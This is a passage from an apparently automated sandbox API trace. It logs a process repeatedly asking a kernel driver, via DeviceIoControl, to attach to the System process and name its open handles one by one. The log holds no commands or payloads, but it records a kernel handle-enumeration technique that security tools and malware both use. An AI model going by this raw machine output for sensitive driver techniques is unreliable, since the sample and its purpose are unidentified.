returned 0x0 [0063.549] PsAcquireProcessExitSynchronization () returned 0x0 [0063.549] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.549] ObReferenceObjectByHandle (in: Handle=0xffffffff80000628, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019d87c0, HandleInformation=0x0) returned 0x0 [0063.549] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.549] PsReleaseProcessExitSynchronization () returned 0x2 [0063.549] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.549] ObQueryNameString (in: Object=0xfffffa80019d87c0, ObjectNameInfo=0xfffffa80038db044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038db044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.549] ObfDereferenceObject (Object=0xfffffa80019d87c0) returned 0x2 [0063.549] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.549] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.549] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.549] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.549] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.549] PsAcquireProcessExitSynchronization () returned 0x0 [0063.549] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.549] ObReferenceObjectByHandle (in: Handle=0xffffffff8000062c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fe2390, HandleInformation=0x0) returned 0x0 [0063.549] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.549] PsReleaseProcessExitSynchronization () returned 0x2 [0063.549] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.549] ObQueryNameString (in: Object=0xfffffa8001fe2390, ObjectNameInfo=0xfffffa800390e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800390e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.549] ObfDereferenceObject (Object=0xfffffa8001fe2390) returned 0x2 [0063.549] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.549] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.549] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.549] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.549] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.549] PsAcquireProcessExitSynchronization () returned 0x0 [0063.549] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.549] ObReferenceObjectByHandle (in: Handle=0xffffffff80000630, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002149310, HandleInformation=0x0) returned 0x0 [0063.549] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.549] PsReleaseProcessExitSynchronization () returned 0x2 [0063.549] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.549] ObQueryNameString (in: Object=0xfffffa8002149310, ObjectNameInfo=0xfffffa80038dc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038dc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.550] ObfDereferenceObject (Object=0xfffffa8002149310) returned 0x2 [0063.550] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.550] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.550] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.550] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.550] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.550] PsAcquireProcessExitSynchronization () returned 0x0 [0063.550] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.550] ObReferenceObjectByHandle (in: Handle=0xffffffff80000634, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020dd820, HandleInformation=0x0) returned 0x0 [0063.550] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.550] PsReleaseProcessExitSynchronization () returned 0x2 [0063.550] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.550] ObQueryNameString (in: Object=0xfffffa80020dd820, ObjectNameInfo=0xfffffa80038ea044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ea044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.550] ObfDereferenceObject (Object=0xfffffa80020dd820) returned 0x2 [0063.550] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.550] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.550] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.550] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.550] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.550] PsAcquireProcessExitSynchronization () returned 0x0 [0063.550] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.550] ObReferenceObjectByHandle (in: Handle=0xffffffff80000638, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800214bd20, HandleInformation=0x0) returned 0x0 [0063.550] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.550] PsReleaseProcessExitSynchronization () returned 0x2 [0063.550] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.550] ObQueryNameString (in: Object=0xfffffa800214bd20, ObjectNameInfo=0xfffffa80038eb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038eb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.550] ObfDereferenceObject (Object=0xfffffa800214bd20) returned 0x2 [0063.550] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.550] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.550] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.550] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.550] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.550] PsAcquireProcessExitSynchronization () returned 0x0 [0063.551] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.551] ObReferenceObjectByHandle (in: Handle=0xffffffff8000063c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fe8c90, HandleInformation=0x0) returned 0x0 [0063.551] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.551] PsReleaseProcessExitSynchronization () returned 0x2 [0063.551] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.551] ObQueryNameString (in: Object=0xfffffa8001fe8c90, ObjectNameInfo=0xfffffa80038ec044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ec044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.551] ObfDereferenceObject (Object=0xfffffa8001fe8c90) returned 0x2 [0063.551] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.551] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.551] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.551] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.551] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.551] PsAcquireProcessExitSynchronization () returned 0x0 [0063.551] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.551] ObReferenceObjectByHandle (in: Handle=0xffffffff80000640, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800214a3c0, HandleInformation=0x0) returned 0x0 [0063.551] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.551] PsReleaseProcessExitSynchronization () returned 0x2 [0063.551] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.551] ObQueryNameString (in: Object=0xfffffa800214a3c0, ObjectNameInfo=0xfffffa80038ed044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ed044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.551] ObfDereferenceObject (Object=0xfffffa800214a3c0) returned 0x2 [0063.551] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.551] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.551] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.551] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.551] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.551] PsAcquireProcessExitSynchronization () returned 0x0 [0063.551] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.551] ObReferenceObjectByHandle (in: Handle=0xffffffff80000648, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800214cdb0, HandleInformation=0x0) returned 0x0 [0063.551] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.551] PsReleaseProcessExitSynchronization () returned 0x2 [0063.551] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.551] ObQueryNameString (in: Object=0xfffffa800214cdb0, ObjectNameInfo=0xfffffa80038ee044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ee044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.552] ObfDereferenceObject (Object=0xfffffa800214cdb0) returned 0x2 [0063.552] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.552] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.552] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.552] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.552] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.552] PsAcquireProcessExitSynchronization () returned 0x0 [0063.552] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.552] ObReferenceObjectByHandle (in: Handle=0xffffffff80000650, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800214b460, HandleInformation=0x0) returned 0x0 [0063.552] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.552] PsReleaseProcessExitSynchronization () returned 0x2 [0063.552] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.552] ObQueryNameString (in: Object=0xfffffa800214b460, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.552] ObfDereferenceObject (Object=0xfffffa800214b460) returned 0x2 [0063.552] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.552] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.552] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.552] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.552] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.552] PsAcquireProcessExitSynchronization () returned 0x0 [0063.552] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.552] ObReferenceObjectByHandle (in: Handle=0xffffffff80000654, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800231b950, HandleInformation=0x0) returned 0x0 [0063.552] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.552] PsReleaseProcessExitSynchronization () returned 0x2 [0063.552] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.552] ObQueryNameString (in: Object=0xfffffa800231b950, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.552] ObfDereferenceObject (Object=0xfffffa800231b950) returned 0x2 [0063.552] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.552] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.552] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.553] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.553] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.553] PsAcquireProcessExitSynchronization () returned 0x0 [0063.553] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.553] ObReferenceObjectByHandle (in: Handle=0xffffffff80000658, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800214ee50, HandleInformation=0x0) returned 0x0 [0063.553] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.553] PsReleaseProcessExitSynchronization () returned 0x2 [0063.553] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.553] ObQueryNameString (in: Object=0xfffffa800214ee50, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.553] ObfDereferenceObject (Object=0xfffffa800214ee50) returned 0x2 [0063.553] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.553] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.553] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.553] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.553] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.553] PsAcquireProcessExitSynchronization () returned 0x0 [0063.553] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.553] ObReferenceObjectByHandle (in: Handle=0xffffffff8000065c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8009f8af20, HandleInformation=0x0) returned 0x0 [0063.553] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.553] PsReleaseProcessExitSynchronization () returned 0x2 [0063.553] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.553] ObQueryNameString (in: Object=0xfffffa8009f8af20, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.553] ObfDereferenceObject (Object=0xfffffa8009f8af20) returned 0x2 [0063.553] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.553] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.553] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.553] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.553] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.553] PsAcquireProcessExitSynchronization () returned 0x0 [0063.553] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.553] ObReferenceObjectByHandle (in: Handle=0xffffffff80000660, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800214c4f0, HandleInformation=0x0) returned 0x0 [0063.553] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.553] PsReleaseProcessExitSynchronization () returned 0x2 [0063.553] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.553] ObQueryNameString (in: Object=0xfffffa800214c4f0, ObjectNameInfo=0xfffffa80038f4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.554] ObfDereferenceObject (Object=0xfffffa800214c4f0) returned 0x2 [0063.554] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.554] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.554] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.554] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.554] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.554] PsAcquireProcessExitSynchronization () returned 0x0 [0063.554] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.554] ObReferenceObjectByHandle (in: Handle=0xffffffff80000668, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002152e50, HandleInformation=0x0) returned 0x0 [0063.554] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.554] PsReleaseProcessExitSynchronization () returned 0x2 [0063.554] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.554] ObQueryNameString (in: Object=0xfffffa8002152e50, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.554] ObfDereferenceObject (Object=0xfffffa8002152e50) returned 0x2 [0063.554] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.554] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.554] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.554] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.554] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.554] PsAcquireProcessExitSynchronization () returned 0x0 [0063.554] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.554] ObReferenceObjectByHandle (in: Handle=0xffffffff80000670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800214e590, HandleInformation=0x0) returned 0x0 [0063.554] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.554] PsReleaseProcessExitSynchronization () returned 0x2 [0063.554] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.554] ObQueryNameString (in: Object=0xfffffa800214e590, ObjectNameInfo=0xfffffa80038f8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.554] ObfDereferenceObject (Object=0xfffffa800214e590) returned 0x2 [0063.554] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.554] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.554] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.554] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.554] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.554] PsAcquireProcessExitSynchronization () returned 0x0 [0063.554] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.555] ObReferenceObjectByHandle (in: Handle=0xffffffff80000674, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021877b0, HandleInformation=0x0) returned 0x0 [0064.074] 